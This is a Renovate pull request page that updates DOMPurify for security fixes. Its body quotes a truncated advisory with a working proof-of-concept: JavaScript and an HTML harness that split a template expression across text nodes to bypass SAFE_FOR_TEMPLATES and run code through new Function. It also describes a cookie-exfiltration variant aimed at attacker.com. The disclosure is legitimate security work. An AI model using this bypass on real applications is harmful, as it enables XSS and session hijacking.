// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}"  <-- survived in-place sanitization

new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!

HTML File for testing

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
  <script src="dist/purify.js"></script>
  <style>
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body {
      font-family: 'Segoe UI', system-ui, sans-serif;
      background: #&#8203;0d1117;
      color: #e6edf3;
      padding: 32px;
    }
    h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
    .subtitle { color: #&#8203;8b949e; font-size: 0.9rem; margin-bottom: 32px; }
    .card {
      background: #&#8203;161b22;
      border: 1px solid #&#8203;30363d;
      border-radius: 8px;
      margin-bottom: 24px;
      overflow: hidden;
    }
    .card-header {
      display: flex;
      align-items: center;
      gap: 10px;
      padding: 14px 20px;
      border-bottom: 1px solid #&#8203;30363d;
      background: #&#8203;1c2128;
    }
    .badge {
      font-size: 0.72rem;
      font-weight: 700;
      padding: 2px 8px;
      border-radius: 4px;
      text-transform: uppercase;
      letter-spacing: 0.05em;
    }
    .badge-run    { background: #&#8203;1f6feb; color: #fff; }
    .badge-pass   { background: #&#8203;238636; color: #fff; }
    .badge-fail   { background: #da3633; color: #fff; }
    .badge-warn   { background: #&#8203;9e6a03; color: #fff; }
    .card-title   { font-size: 0.95rem; font-weight: 600; }
    .card-body    { padding: 20px; }
    label         { font-size: 0.78rem; color: #&#8203;8b949e; display: block; margin-bottom: 6px; }
    pre {
      background: #&#8203;0d1117;
      border: 1px solid #&#8203;30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.82rem;
      line-height: 1.6;
      overflow-x: auto;
      margin-bottom: 14px;
      white-space: pre-wrap;
      word-break: break-all;
    }
    pre.result    { border-color: #&#8203;238636; background: #&#8203;0a1a0f; }
    pre.escaped   { border-color: #da3633; background: #&#8203;1a0a0a; }
    pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
    .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
    @&#8203;media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
    .arrow {
      text-align: center;
      font-size: 1.4rem;
      color: #&#8203;8b949e;
      margin: 4px 0;
    }
    .xss-banner {
      display: none;
      background: #da3633;
      color: #fff;
      text-align: center;
      padding: 16px;
      font-size: 1.1rem;
      font-weight: 700;
      border-radius: 6px;
      margin-bottom: 24px;
      letter-spacing: 0.03em;
    }
    button {
      background: #&#8203;238636;
      color: #fff;
      border: none;
      padding: 10px 22px;
      border-radius: 6px;
      font-size: 0.9rem;
      font-weight: 600;
      cursor: pointer;
      margin-right: 10px;
      margin-bottom: 8px;
    }
    button:hover { background: #&#8203;2ea043; }
    button.danger { background: #da3633; }
    button.danger:hover { background: #f85149; }
    .note {
      background: #&#8203;161b22;
      border-left: 3px solid #&#8203;9e6a03;
      padding: 12px 16px;
      font-size: 0.82rem;
      color: #e3b341;
      border-radius: 0 6px 6px 0;
      margin-top: 14px;
    }
    #log {
      background: #&#8203;0d1117;
      border: 1px solid #&#8203;30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.8rem;
      font-family: monospace;
      min-height: 60px;
      max-height: 300px;
      overflow-y: auto;
      line-height: 1.8;
    }
    .log-ok   { color: #&#8203;3fb950; }
    .log-fail { color: #f85149; }
    .log-info { color: #&#8203;8b949e; }
    .log-warn { color: #e3b341; }
  </style>
</head>
<body>

  <h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
  <p class="subtitle">
    CVE candidate · Template expression injection via &lt;template&gt; content ·
    Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
  </p>

  <div id="xss-banner" class="xss-banner">
    ⚠️ XSS CONFIRMED - Expression executed in this page's context
  </div>

  <!-- ── Controls ─────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Controls</span>
      <span class="card-title">Run individual test cases</span>
    </div>
    <div class="card-body">
      <button onclick="runAll()">▶ Run all tests</button>
      <button onclick="runPoC1()">PoC 1 - alert()</button>
      <button onclick="runPoC2()">PoC 2 - cookie exfil</button>
      <button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
      <button onclick="runControl()">Control - string output (should block)</button>
      <div class="note">
        PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
        doesn't need a dismiss click to continue. Watch the red banner at the top.
      </div>
    </div>
  </div>

  <!-- ── PoC 1 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc1">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc1">PENDING</span>
      <span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
          <pre id="input-poc1"></pre>
        </div>
        <div>
          <label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
          <pre class="result" id="nodes-poc1"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED TEXT NODE - fully formed expression after normalization</label>
      <pre class="highlight" id="merged-poc1"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc1">Not run yet</pre>
    </div>
  </div>

  <!-- ── PoC 2 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc2">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc2">PENDING</span>
      <span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - exfil payload split across custom elements</label>
          <pre id="input-poc2"></pre>
        </div>
        <div>
          <label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
          <pre class="result" id="nodes-poc2"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION - what a template engine would evaluate</label>
      <pre class="highlight" id="merged-poc2"></pre>
      <label>SIMULATED EXECUTION (fetch URL that would be called)</label>
      <pre id="exec-poc2">Not run yet</pre>
      <div class="note">
        Real execution would redirect the victim to
        <code>attacker.com</code> carrying the session cookie.
        This PoC constructs the URL without actually sending it.
      </div>
    </div>
  </div>

  <!-- ── PoC 3 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc3">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc3">PENDING</span>
      <span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
          <pre id="input-poc3"></pre>
        </div>
        <div>
          <label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
          <pre class="result" id="nodes-poc3"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION</label>
      <pre class="highlight" id="merged-poc3"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc3">Not run yet</pre>
    </div>
  </div>

  <!-- ── Control ───────────────────────────────────────────── -->
  <div class="card" id="card-ctrl">
    <div class="card-header">
      <span class="badge badge-run" id="badge-ctrl">PENDING</span>
      <span class="card-title">Control - string output (default) MUST block the payload</span>
    </div>
    <div class="card-body">
      <label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
      <pre id="input-ctrl"></pre>
      <div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
      <label>OUTPUT STRING - expression should be stripped</label>
      <pre id="output-ctrl">Not run yet</pre>
      <div class="note">
        The string output path is NOT vulnerable because
        <code>body.innerHTML</code> serialises the template content into a
        flat string where the full <code>${"{...}"}</code> expression is visible
        and the final regex scrub catches it.
      </div>
    </div>
  </div>

  <!-- ── Log ───────────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Log</span>
      <span class="card-title">Test output</span>
    </div>
    <div class="card-body">
      <div id="log"></div>
    </div>
  </div>

<script>
// ── Helpers ────────────────────────────────────────────────────────────────

let xssConfirmed = false;

function log(msg, type = 'info') {
  const el = document.getElementById('log');
  const line = document.createElement('div');
  line.className = 'log-' + type;
  line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
  el.appendChild(line);
  el.scrollTop = el.scrollHeight;
}

function setBadge(id, status) {
  const el = document.getElementById('badge-' + id);
  el.textContent = status;
  el.className = 'badge ' + {
    PASS: 'badge-fail',   // "PASS" here means the attack succeeded (bad for security)
    BLOCK: 'badge-pass',  // "BLOCK" means DOMPurify correctly blocked it
    PENDING: 'badge-run',
    ERROR: 'badge-warn',
  }[status];
}

function markXSS(poc) {
  if (!xssConfirmed) {
    xssConfirmed = true;
    document.getElementById('xss-banner').style.display = 'block';
  }
  log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}

// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────

function runPoC1() {
  log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');

  // IMPORTANT:
  // Build a REAL template DOM node with split TEXT nodes.
  // HTML parsing would merge adjacent text automatically,
  // so we construct the DOM programmatically.

  const container = document.createElement('div');
  const tmpl = document.createElement('template');

  tmpl.content.appendChild(document.createTextNode('$'));
  tmpl.content.appendChild(
    document.createTextNode(
      '{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
    )
  );

  container.appendChild(tmpl);

  document.getElementById('input-poc1').textContent =
    'template.content.childNodes[0].data = "$"\\n' +
    'template.content.childNodes[1].data = "{confirm(...)}"';

  // Sanitize the DOM node itself
  const sanitized = DOMPurify.sanitize(container, {
    RETURN_DOM: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = sanitized.querySelector('template');

  if (!tmplAfter) {
    document.getElementById('exec-poc1').textContent =
      'Template element removed during sanitization';
    setBadge('poc1', 'ERROR');
    return;
  }

  const nodesBefore = [...tmplAfter.content.childNodes].map(
    n => JSON.stringify(n.nodeValue)
  );

  document.getElementById('nodes-poc1').textContent =
    'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
    'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
    '→ Neither fragment matched individually.';

  log(
    'PoC 1: Text nodes after sanitization: ' +
    nodesBefore.join(', '),
    'warn'
  );

  // Merge text nodes
  tmplAfter.content.normalize();

  const merged = tmplAfter.content.textContent;

  document.getElementById('merged-poc1').textContent = merged;

  log('PoC 1: After normalize() - merged text: ' + merged, 'warn');

  try {
    const result = new Function('return `' + merged + '`')();

    document.getElementById(

> ✂ **Note**
> 
> PR body was truncated to here.

renovate Bot changed the title ~~chore(deps): update dependency dompurify to v3.3.2 [security]~~ chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosed Mar 27, 2026

renovate Bot closed this Mar 27, 2026

renovate Bot deleted the renovate/npm-dompurify-vulnerability branch March 27, 2026 01:05

renovate Bot changed the title ~~chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosed~~ chore(deps): update dependency dompurify to v3.3.2 [security] Mar 28, 2026

renovate Bot reopened this Mar 28, 2026

renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch 2 times, most recently from e7deab3 to a523ff3 Compare March 28, 2026 13:00

renovate Bot changed the title ~~chore(deps): update dependency dompurify to v3.3.2 [security]~~ chore(deps): update dependency dompurify to v3.4.0 [security] Apr 16, 2026

renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch from e7deab3 to 7b2d2ab Compare April 16, 2026 10:38

renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch 2 times, most recently from 1a00e53 to b925bc4 Compare June 17, 2026 02:00

renovate Bot changed the title ~~chore(deps): update dependency dompurify to v3.4.0 [security]~~ chore(deps): update dependency dompurify to v3.4.8 [security] Jun 17, 2026

chore(deps): update dependency dompurify to v3.4.9 [security]

5750f52

renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch from b925bc4 to 5750f52 Compare June 17, 2026 23:48

renovate Bot changed the title ~~chore(deps): update dependency dompurify to v3.4.8 [security]~~ chore(deps): update dependency dompurify to v3.4.9 [security] Jun 17, 2026

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chore(deps): update dependency dompurify to v3.4.9 [security]#420

chore(deps): update dependency dompurify to v3.4.9 [security]#420
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renovate Bot commented Mar 5, 2026 •

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renovate Bot commented Mar 5, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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DOMPurify contains a Cross-site Scripting vulnerability

Details

Severity

References

DOMPurify is vulnerable to mutation-XSS via Re-Contextualization

Details

Description

Vulnerability

PoC

Evidence

Why This Happens

Remediation Guidance

Severity

References

DOMPurify USE_PROFILES prototype pollution allows event handlers

Details

Summary

Impact

Credits

Severity

References

DOMPurify ADD_ATTR predicate skips URI validation

Details

Summary

Impact

Credits

Severity

References

DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation

Details

Summary

Inconsistency

Impact

Suggested Fix

Affected Version

Severity

References

DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback

Details

Summary

Affected Versions

Root Cause

Impact

Proof of Concept

Tested configurations that are vulnerable:

Suggested Fix

Alternative application-level mitigation:

Timeline

Credit

Severity

References

DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode

Details

Summary

Technical Details

Reproduce

Impact

Recommendations

Fix

Severity

References

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Details

Severity

References

Details

Summary

Description

Background

The Gap

How Split Text Nodes Are Created

Proof of Concept

Why the Split Works

PoC 1 - XSS via alert() (baseline confirmation)

PoC 2 - Session Hijacking via cookie exfiltration

PoC 3 - End-to-end: realistic application context

PoC 4 - IN_PLACE mode (DOM input path)

renovate Bot commented Mar 5, 2026 •

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PoC 1 - XSS via `alert()` (baseline confirmation)

PoC 4 - `IN_PLACE` mode (DOM input path)